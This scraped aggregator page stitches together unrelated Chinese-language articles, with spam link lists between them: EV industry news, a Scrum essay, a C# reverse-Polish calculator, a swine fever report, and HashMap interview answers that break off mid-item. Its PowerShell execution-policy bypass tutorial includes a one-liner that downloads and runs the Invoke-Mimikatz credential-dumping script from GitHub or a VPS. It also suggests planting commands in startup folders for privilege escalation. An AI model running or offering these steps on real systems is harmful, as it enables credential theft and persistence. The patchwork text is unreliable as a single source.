2017中國國際新能源汽車產業博覽會

展會城市:
深圳、上海
展會開始日期:
深圳:2017/6/16
上海:2017/8/23
展會結束日期:
深圳:2017/6/18
上海:2017/8/25

2017新能源汽車產業博覽會將於2017年6月16-18日,8月23-25日分別在深圳會展中心及上海新國際博覽中心舉行,本屆展會預計累計展示面積達7萬平米,展商超過800家,專業觀眾超過6萬人次,全產業鏈展示實現無縫對接。

展會以展覽展示及技術交流為主題,組委會將重點邀請新能源汽車生產企業及核心三電(電池、電機、電控)企業參與。新能源汽車領域包括:比亞迪、北汽、上汽、宇通、金龍、青年客車、福田、中通、東風、力帆等;電池領域包括:國軒、寧德時代、力神、沃特瑪、邁科等;電機電控領域包括:寶馬、中國南車、大洋電機、中科三環、上海大郡、上海電驅動、浙江尤奈特、深圳大地和、大連機電、東風機電、南洋機電、精進電動等。

振威展覽【股票代碼:834316】是中國規模最大的民營展覽公司,深耕行業20年,于北京、天津、廣州、西安、成都、新疆分別設有全資子公司。每年承接20多個大型政府展會,累積了豐富的政府資源和關係網絡。為打通新能源汽車產業各大環節的壁壘,振威展覽聯合中國土木工程學會城市公共交通學會、廣東省充電設施協會、充電設施線上網,共同打造中國新能源汽車產業第一展。

主辦方積累了豐富的資源,本屆展會得到了上海市經信委、江蘇省經信委、浙江省經信委、武漢市經信委、廣州市經信委等政府部門的高度關注與大力支持。此外,展會還將重點邀請各地公交集團、旅遊公司、計程車運營公司、汽車租賃企業、大型物流公司、市政環衛公司等組團參觀交流,迅速實現供需對接。

兩地展會同期均舉辦2017振威新能源汽車產業峰會,峰會圍繞當前最熱門話題展開討論。如何更好的實現市場驅動,如何提高整個產業的核心競爭力,都是需要我們共同思考的問題。為此,組委會將邀請來自新能源汽車產業各個領域的知名專家學者、領軍企業高層與政府代表、協會代表,共同探討新形勢下如何更好的提升市場化水準,如何提升企業核心競爭力、深化全產業鏈的交流與合作,實現共贏的局面。

參展範圍

新能源汽車

純電動車:純電動客車、純電動城市物流車、純電動乘用車、純電動環衛車等;
混合動力車:混合動力轎車、插電混合動力大巴等;
其他:氫燃料電池汽車、增程式電動車等;

新能源汽車核心零部件及配套

動力集成:電動機、整車控制器、功率轉換器、傳動裝置、電池組、BMS、啟停電源、移動車載充電器、充電樁等;
解決方案:整車設計、輕量化底盤、變速動力系統、直驅動力系統等;
配套產品:磁性材料、連接器、飛輪、超級電容、相關新材料、相關檢測設備等。

聯繫方式:
廣州振威國際展覽有限公司
電話:+86 20 8395 3286
手機(微信):+86 135 3358 3989
聯絡人:黃俊鵬
E-mail:Johnny@zhenweiexpo.com

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

效率思維模式與Zombie Scrum

Scrum是由Ken Schwaber和Jeff Sutherland在20世紀90年代提出的概念,並在1995年首次正式確定。起初Scrum是為了解決產品和軟件開發固有的複雜性,然而現在Scrum被成功地應用於市場營銷、組織變革和科學研究等多個領域的複雜問題。

Scrum主要建立在以下三個原則的基礎上:

  • 透明度:你需要收集數據(比如一些指標、團隊成員的反饋或其他團隊的經驗之談),從而找到你的目標。
  • 檢查:你需要和大家一起監督迭代的進度,並決定迭代完成的標準是什麼。
  • 適應:你需要做出改變,希望能更好更快地完成你的目標。

在實施Scrum之前首先要用一段時間來定義和調整這些規則,以發現工作中的問題,找到可以改善的方向,這裏說的問題不是那種一年一次或項目完成時才發生的問題,而是每天、每周或每月都在持續發生的問題。我們不是將我們的決策建立在對可能永遠不會發生的潛在風險的假設上,而是根據我們收集到的數據來做決策,這就是所謂的經驗主義。

Scrum的價值?

當你需要接受你並不了解和無法控制一切的時候,Scrum提供的經驗方法就會變得非常有用。也正因如此,你會改變之前的想法,雖然可能會犯錯,但也會有新的、有價值的想法出現,而這些是你從未考慮過的。與其在前期制定一個精確的計劃,然後無論如何都要堅持下去,不如把你的想法當作假設或假說,用Scrum的方式來驗證。

Scrum可以讓你快速了解自己是否偏離了軌道,是否需要做出調整,而不是簡單地按照計劃行事,你可以先解決你目前面臨的最大風險。當你在一個不確定的、不斷變化的環境中工作時,這一點尤為重要。你一開始的假設在當時可能是絕對正確的,但是當你在開發產品的時候,環境可能會發生很大的變化,以至於你的整個方案都失敗。在一個漫長的項目結束的時候,經驗主義的方法並不是災難性的失敗,而是將其降低為一個小的減速帶,需要你修正一下方向。

所以,實際上Scrum是降低了複雜的、適應性問題、固有的不可預測性和不確定性的風險。它允許你不斷地驗證你仍然在做正確的事情,並朝着解決你設定的目標前進。更好的是,你現在有了一個积極發現更好想法的過程,並將其納入到下一步的塑造中。現在,不確定性反而變成了一件好事,因為其中蘊含着所有的可能性。

“Scrum降低了複雜的、適應性問題固有的不可預測性和不確定性的風險。”

Zombie Scrum和效率思維模式

那麼,Zombie Scrum與這一切有什麼聯繫呢?我們發現一個現象:人們使用Scrum的起因很多都是錯誤的。當你問一個Zombie Scrum組織中的人,他們希望從Scrum中得到什麼時,你會聽到諸如 “更快”、”更多的大腦”、”更多的產出 “和 “更高的效率”。這與 “敏捷 “這個詞的實際含義是非常不同的。這與Scrum的設計目的也大相徑庭。這種矛盾從何而來?

傳統的組織管理和產品開發方式是為了實現與敏捷性相反的目標,這種心理模式通常被稱為 “效率思維模式”。它的目的是盡可能地減少不確定性,提高可預測性,推動效率的提高。這通常表現為會制定詳細的計劃,通過協議和程序使工作標準化,高度的任務專業化,以及衡量效率(如每天的工作量、出現的問題) 。這種思維模式當然可以在工作相當重複和簡單的環境中發揮作用,比如流水線化的工作或某些行政工作,但在人們處理複雜的、適應性強的問題的環境中肯定行不通,因為這些問題本身就具有不可預測性和不確定性。

“效率思維模式的目的是盡可能地減少不確定性,提高可預測性,推動效率的提高。”

Zombie Scrum與領導強烈關注績效和工作量是有很大關係的,但最終客戶是否滿意?是否交付了有價值的東西?卻無人問津。而且,這種思維模式在很多企業中是根深蒂固的,它已經成為一個我們不需要討論的 “真相”。這樣的企業是想試圖用Scrum來影響效率、速度和產出的角度來理解它是有道理的,只不過當發現Scrum似乎並沒有做到這一點時,人們就會感到失望。

從非常廣泛的意義上來說,Scrum關注的更多是效率,而不是高效。效率是為了盡可能多的完成工作(產出),而高效則是為了工作的價值和有用性(結果)。雖然完全有可能通過Scrum提高效率,但這既不是承諾也不是目標。

在充斥着 “Zombie Scrum”的環境中,大家是很看重“效率思維”的,以至於人們只看到Scrum的結構性元素:角色、事件和工件。他們沒有看到也沒有體會到這個過程的價值。這就是為什麼Zombie Scrum只是看起來像Scrum,但沒有其精髓。

“Scrum更關注的是有效(結果),而不是高效(產出)。”

在這篇文章中,我們提到了Scrum的三個原則,如何在必要的時候重複進行,以捕捉工作中出現的偏差、意外發現和潛在機會。Scrum中的所有內容都是圍繞這三個支柱設計的。這也是經驗主義發揮作用的原因。採用Zombie Scrum的組織,往往有一種效率思維,目標是盡可能減少不確定性,提高可預測性,推動效率。這與在複雜工作中學習和發現的經驗主義過程相矛盾。

原文作者:Barry Overeem

翻譯整理:Worktile

Worktile 官網:worktile.com

文章首發於「Worktile官方博客」,轉載請註明出處。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

繞過PowerShell執行策略方法

前言:

默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

 

什麼是PowerShell執行策略?

PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

 

為什麼我們要繞過執行政策?

因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

Windows原生支持
能夠調用Windows API
能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
能夠避免被反病毒工具檢測
大多數應用程序白名單解決方案已將其標記為“受信任”
一種用於編寫許多開源Pentest工具包的媒介

 

如何查看執行策略

在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

Get-ExecutionPolicy

 

 

同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

繞過PowerShell執行策略

1、直接在Interactive PowerShell控制台中輸入powershell代碼
複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

Write-Host “It’s run!”;

 

 

2、echo腳本並將其通過管道傳遞到PowerShell
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

 

 

3、從文件讀取腳本並通過管道傳輸到PowerShell
使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile –

 

 

4、從遠程下載腳本並通過IEX執行
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

如無法使用github下載可換vps:

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

 

 

5、使用使用command命令
這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

例1:完整的命令

Powershell -command “Write-Host “Its run!””;

 

 

示例2:簡短命令(-c)

Powershell -c “Write-Host “It’s run!'”

可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

 

 

6、使用EncodeCommand命令
這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

例1: 完整的命令

$command = “Write-Host ‘Its run!'”

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通過簡短的命令使用編碼字符串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

 

 

7、使用Invoke-Command命令
這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

Invoke-command -scriptblock {Write-Host “Its run!”}

 

 

8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

這種方式經測試不可行。

域環境下:

 

工作組下:

 

 

9、使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

例1:使用Get-Content的完整命令

Get-Content .\demo.ps1 | Invoke-Expression

 

 

示例2:使用Get-Content的簡短命令

GC .\demo.ps1 | iex

 

 

10、使用“Bypass”繞過Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

 

 

11、使用“Unrestricted”標記Execution Policy
這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

 

 

12、使用“Remote-Signed”標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-signed標記腳本無法運行的

PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

 

 

13、通過交換AuthorizationManager禁用ExecutionPolicy
下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

Disable-ExecutionPolicy

.\demo.ps1

 

 

13、把ExcutionPolicy設置成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

Set-ExecutionPolicy Bypass -Scope Process

 

 

14、通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

 

15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

 

 

總結總結

使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

Samsung SDI匈牙利電動車用電池廠落成

Samsung SDI持續擴張鋰電池相關事業,在匈牙利布達佩斯附近的Goed完成了一座電動車用動力電池的工廠,並於當地時間5月29日舉辦落成慶祝大典。此工廠預計在2018年第二季正式投產。

Goed工廠的竣工儀式有約150名官員出席,包括匈牙利總理Viktor Orban,Samsung SDI的總裁Jun Young-hyun,匈牙利外交與貿易部長Peter Szijjarto,以及韓國駐匈牙利大使Yim Geun-hyeong等。

Goed工廠佔地約33萬平方中尺,每年所生產的動力電池足供5萬輛電動車使用,預計在明年第二季投產。此工廠專為歐洲市場所設立,將可有效降低物流支出,還能提高對歐洲客戶的在地服務。該工廠的前身為Samsung SDI的電漿面板廠,後來調整為生產動力電池的工廠,可利用Samsung SDI的最新科技生產高功率、高效能動力電池。

歐洲注重環保,因此是再生能源與電動車產品的一大市場。而電動車市場的擴大,直接帶動了電池的需求。

Viktor Orban表示,匈牙利在1990年代初期,因資本主義而認識了眾多公司和品牌,並了解到:「南韓製造」意味著品質保證。他指出,韓國是匈牙利的榜樣,一個小國要建立強大的經濟,並在全球市場上佔有一席之地,關鍵就在於此。

Goed與Samsung SDI雙方都需要這項建設,因此匈牙利政府也給予大力支持。Jun Young-hyun指出,動力電池是電動車最重要的零組件之一,Samsung SDI將會為Goed工廠引入最新的電池科技,並希望這間工廠能為歐洲的電動車市場帶來更多貢獻。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

上海大眾推朗逸純電動轎車 有望2013年上市

上汽集團推出了上海大眾針對中國市場量身打造的首款——朗逸純電動轎車。據悉,新車已經具備了量產條件,最快有望在2013年上市銷售。

朗逸純電動轎車基於量產車型大眾朗逸開發,新車由安裝在車頭部位的電動機驅動,最大功率為85kW,最大扭矩為270Nm,0-100km/h加速用時約11秒,最高時速可達135km/h,續駛里程可達125km。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

C#數據結構與算法系列(十):逆波蘭計算器——逆波蘭表達式(後綴表達式)

1.介紹

後綴表達式又稱逆波蘭表達式,與前綴表達式相似,只是運算符位於操作數之後

2.舉例說明

(3+4)*5-6對應的後綴表達式就是3 4 +5 * 6 –

3.示例

輸入一個逆波蘭表達式(後綴表達式),使用棧(Stack),計算其結果

思路分析:

從左至右掃描表達式,遇到数字時,將数字壓入堆棧,遇到運算符時,彈出棧頂的兩個數,用運算符對它們做相應的計算(次頂元素 和 棧頂元素),並將結果入棧;

重複上述過程直到表達式最右端,最後運算得出的值即為表達式的結果例如: (3+4)×5-6 對應的後綴表達式就是 3 4 + 5 × 6 – , 

針對後綴表達式求值步驟如下:

從左至右掃描,將3和4壓入堆棧;
遇到+運算符,因此彈出4和3(4為棧頂元素,3為次頂元素),計算出3+4的值,得7,再將7入棧;
將5入棧;
接下來是×運算符,因此彈出5和7,計算出7×5=35,將35入棧;
將6入棧;
最後是-運算符,計算出35-6的值,即29,由此得出最終結果

代碼實現:

using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;

namespace DataStructure
{
    public class PolandNotation
    {
        public static void Test()
        {
            try
            {
                //定義逆波蘭表達式
                string suffixExpression = "3 4 + 5 * 6 -";

                //將suffixExpression轉換成鏈表的方式
                var list = GetListString(suffixExpression);

                //輸出結果
                var result = Calculate(list);

                Console.WriteLine($"{suffixExpression}的結果是{result}");
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
           
        }
        /// <summary>
        /// 獲取集合
        /// </summary>
        /// <param name="suffixExpression"></param>
        /// <returns></returns>
        public static List<string> GetListString(string suffixExpression)
        {
            //首先實例化List
            List<string> list = new List<string>();

            //將字符串通過空格切換成數組
            string[] split=suffixExpression.Split(" ");

            //循環添加
            foreach (var item in split)
            {
                list.Add(item);
            }

            return list;
        }

        /// <summary>
        /// 計算
        /// </summary>
        /// <param name="list"></param>
        /// <returns></returns>
        public static int Calculate(List<string> list)
        {
            //創建棧
            Stack<string> stack = new Stack<string>();

            //循環遍歷
            list.ForEach(item =>
            {
                //正則表達式判斷是否是数字,匹配的是多位數
                if (Regex.IsMatch(item,"\\d+"))
                {
                    //如果是数字直接入棧
                    stack.Push(item);
                }
                //如果是操作符
                else
                {
                    //出棧兩個数字,並運算,再入棧
                    int num1 =int.Parse(stack.Pop());

                    int num2 = int.Parse(stack.Pop());

                    int result = 0;

                    if(item.Equals("+"))
                    {
                        result = num2 + num1;
                    }
                    else if(item.Equals("*"))
                    {
                        result = num2 * num1;
                    }
                    else if(item.Equals("/"))
                    {
                        result = num2 / num1;
                    }
                    else if (item.Equals("-"))
                    {
                        result = num2 - num1;
                    }
                    else
                    {
                        throw new Exception("無法識別符號");
                    }

                    stack.Push(""+result);
                }
            });

            //最後把stack中數據返回
            return int.Parse(stack.Pop());
        }
    }
}

結果圖:

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

非洲豬瘟疫情防控 南韓今年確診11起

摘錄自2020年01月12日中央通訊社南韓報導

南韓環境部和國立環境科學院今天(12日)表示,自去年10月3日首次確診以來,截至10日共有66起確診感染非洲豬瘟(ASF)病毒,僅今年就有11起確診,疫情防控上仍有很大挑戰。

南韓聯合新聞通訊社報導,去年10月(18起)、11月(15起)、12月(22起)平均每天有0.5~0.7起確診,但今年以來每天發現1起以上感染死豬。江原道華川地區最近首次發現感染非洲豬瘟的野豬屍體。

之前僅在京畿道漣川(26起)、坡州(22起)、江原道鐵原(17起)發現感染非洲豬瘟的野豬屍體,此次擴散到華川。

報導說,政府9日召開會議檢討非洲豬瘟疫情應對情況。雖然確診疫情數在增加,但政府官員認為,這是防疫過程中的自然現象。不過由於家豬傳播非洲豬瘟病毒的可能性沒有完全消失,將繼續加強防疫監管。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

阿裏面試官最喜歡問的21個HashMap面試題

1.HashMap 的數據結構?

A:哈希表結構(鏈表散列:數組+鏈表)實現,結合數組和鏈表的優點。當鏈表長度超過 8 時,鏈錶轉換為紅黑樹。

transient Node<K,V>\[\] table;

2.HashMap 的工作原理?

HashMap 底層是 hash 數組和單向鏈表實現,數組中的每個元素都是鏈表,由 Node 內部類(實現 Map.Entry接口)實現,HashMap 通過 put & get 方法存儲和獲取。

存儲對象時,將 K/V 鍵值傳給 put() 方法:

①、調用 hash(K) 方法計算 K 的 hash 值,然後結合數組長度,計算得數組下標;

②、調整數組大小(當容器中的元素個數大於 capacity * loadfactor 時,容器會進行擴容resize 為 2n);

③、i.如果 K 的 hash 值在 HashMap 中不存在,則執行插入,若存在,則發生碰撞;

ii.如果 K 的 hash 值在 HashMap 中存在,且它們兩者 equals 返回 true,則更新鍵值對;

iii. 如果 K 的 hash 值在 HashMap 中存在,且它們兩者 equals 返回 false,則插入鏈表的尾部(尾插法)或者紅黑樹中(樹的添加方式)。(JDK 1.7 之前使用頭插法、JDK 1.8 使用尾插法)(注意:當碰撞導致鏈表大於 TREEIFY_THRESHOLD = 8 時,就把鏈錶轉換成紅黑樹)

獲取對象時,將 K 傳給 get() 方法:①、調用 hash(K) 方法(計算 K 的 hash 值)從而獲取該鍵值所在鏈表的數組下標;②、順序遍歷鏈表,equals()方法查找相同 Node 鏈表中 K 值對應的 V 值。

hashCode 是定位的,存儲位置;equals是定性的,比較兩者是否相等。

3.當兩個對象的 hashCode 相同會發生什麼?

因為 hashCode 相同,不一定就是相等的(equals方法比較),所以兩個對象所在數組的下標相同,”碰撞”就此發生。又因為 HashMap 使用鏈表存儲對象,這個 Node 會存儲到鏈表中。

4.你知道 hash 的實現嗎?為什麼要這樣實現?

JDK 1.8 中,是通過 hashCode() 的高 16 位異或低 16 位實現的:(h = k.hashCode()) ^ (h >>> 16),主要是從速度,功效和質量來考慮的,減少系統的開銷,也不會造成因為高位沒有參与下標的計算,從而引起的碰撞。

5.為什麼要用異或運算符?

保證了對象的 hashCode 的 32 位值只要有一位發生改變,整個 hash() 返回值就會改變。盡可能的減少碰撞。

6.HashMap 的 table 的容量如何確定?loadFactor 是什麼?該容量如何變化?這種變化會帶來什麼問題?

①、table 數組大小是由 capacity 這個參數確定的,默認是16,也可以構造時傳入,最大限制是1<<30;

②、loadFactor 是裝載因子,主要目的是用來確認table 數組是否需要動態擴展,默認值是0.75,比如table 數組大小為 16,裝載因子為 0.75 時,threshold 就是12,當 table 的實際大小超過 12 時,table就需要動態擴容;

③、擴容時,調用 resize() 方法,將 table 長度變為原來的兩倍(注意是 table 長度,而不是 threshold)

④、如果數據很大的情況下,擴展時將會帶來性能的損失,在性能要求很高的地方,這種損失很可能很致命。

7.HashMap中put方法的過程?

答:“調用哈希函數獲取Key對應的hash值,再計算其數組下標;
如果沒有出現哈希衝突,則直接放入數組;如果出現哈希衝突,則以鏈表的方式放在鏈表後面;
如果鏈表長度超過閥值( TREEIFY THRESHOLD==8),就把鏈錶轉成紅黑樹,鏈表長度低於6,就把紅黑樹轉回鏈表;
如果結點的key已經存在,則替換其value即可;
如果集合中的鍵值對大於12,調用resize方法進行數組擴容。”

8.數組擴容的過程?

創建一個新的數組,其容量為舊數組的兩倍,並重新計算舊數組中結點的存儲位置。結點在新數組中的位置只有兩種,原下標位置或原下標+舊數組的大小。

9.拉鏈法導致的鏈表過深問題為什麼不用二叉查找樹代替,而選擇紅黑樹?為什麼不一直使用紅黑樹?

之所以選擇紅黑樹是為了解決二叉查找樹的缺陷,二叉查找樹在特殊情況下會變成一條線性結構(這就跟原來使用鏈表結構一樣了,造成很深的問題),遍歷查找會非常慢。

而紅黑樹在插入新數據后可能需要通過左旋,右旋、變色這些操作來保持平衡,引入紅黑樹就是為了查找數據快,解決鏈表查詢深度的問題,我們知道紅黑樹屬於平衡二叉樹,但是為了保持“平衡”是需要付出代價的,但是該代價所損耗的資源要比遍歷線性鏈表要少,所以當長度大於8的時候,會使用紅黑樹,如果鏈表長度很短的話,根本不需要引入紅黑樹,引入反而會慢。

10.說說你對紅黑樹的見解?

  • 每個節點非紅即黑
  • 根節點總是黑色的
  • 如果節點是紅色的,則它的子節點必須是黑色的(反之不一定)
  • 每個恭弘=叶 恭弘子節點都是黑色的空節點(NIL節點)
  • 從根節點到恭弘=叶 恭弘節點或空子節點的每條路徑,必須包含相同數目的黑色節點(即相同的黑色高度)

11.jdk8中對HashMap做了哪些改變?

在java 1.8中,如果鏈表的長度超過了8,那麼鏈表將轉換為紅黑樹。(桶的數量必須大於64,小於64的時候只會擴容)

發生hash碰撞時,java 1.7 會在鏈表的頭部插入,而java 1.8會在鏈表的尾部插入

在java 1.8中,Entry被Node替代(換了一個馬甲)。

12.HashMap,LinkedHashMap,TreeMap 有什麼區別?

HashMap 參考其他問題;

LinkedHashMap 保存了記錄的插入順序,在用 Iterator 遍歷時,先取到的記錄肯定是先插入的;遍歷比 HashMap 慢;

TreeMap 實現 SortMap 接口,能夠把它保存的記錄根據鍵排序(默認按鍵值升序排序,也可以指定排序的比較器)

13.HashMap & TreeMap & LinkedHashMap 使用場景?

一般情況下,使用最多的是 HashMap。

HashMap:在 Map 中插入、刪除和定位元素時;

TreeMap:在需要按自然順序或自定義順序遍歷鍵的情況下;

LinkedHashMap:在需要輸出的順序和輸入的順序相同的情況下。

14.HashMap 和 HashTable 有什麼區別?

①、HashMap 是線程不安全的,HashTable 是線程安全的;

②、由於線程安全,所以 HashTable 的效率比不上 HashMap;

③、HashMap最多只允許一條記錄的鍵為null,允許多條記錄的值為null,而 HashTable不允許;

④、HashMap 默認初始化數組的大小為16,HashTable 為 11,前者擴容時,擴大兩倍,後者擴大兩倍+1;

⑤、HashMap 需要重新計算 hash 值,而 HashTable 直接使用對象的 hashCode

15.Java 中的另一個線程安全的與 HashMap 極其類似的類是什麼?同樣是線程安全,它與 HashTable 在線程同步上有什麼不同?

ConcurrentHashMap 類(是 Java併發包 java.util.concurrent 中提供的一個線程安全且高效的 HashMap 實現)。

HashTable 是使用 synchronize 關鍵字加鎖的原理(就是對對象加鎖);

而針對 ConcurrentHashMap,在 JDK 1.7 中採用 分段鎖的方式;JDK 1.8 中直接採用了CAS(無鎖算法)+ synchronized。

16.HashMap & ConcurrentHashMap 的區別?

除了加鎖,原理上無太大區別。另外,HashMap 的鍵值對允許有null,但是ConCurrentHashMap 都不允許。

17.為什麼 ConcurrentHashMap 比 HashTable 效率要高?

HashTable 使用一把鎖(鎖住整個鏈表結構)處理併發問題,多個線程競爭一把鎖,容易阻塞;

ConcurrentHashMap

  • JDK 1.7 中使用分段鎖(ReentrantLock + Segment + HashEntry),相當於把一個 HashMap 分成多個段,每段分配一把鎖,這樣支持多線程訪問。鎖粒度:基於 Segment,包含多個 HashEntry。
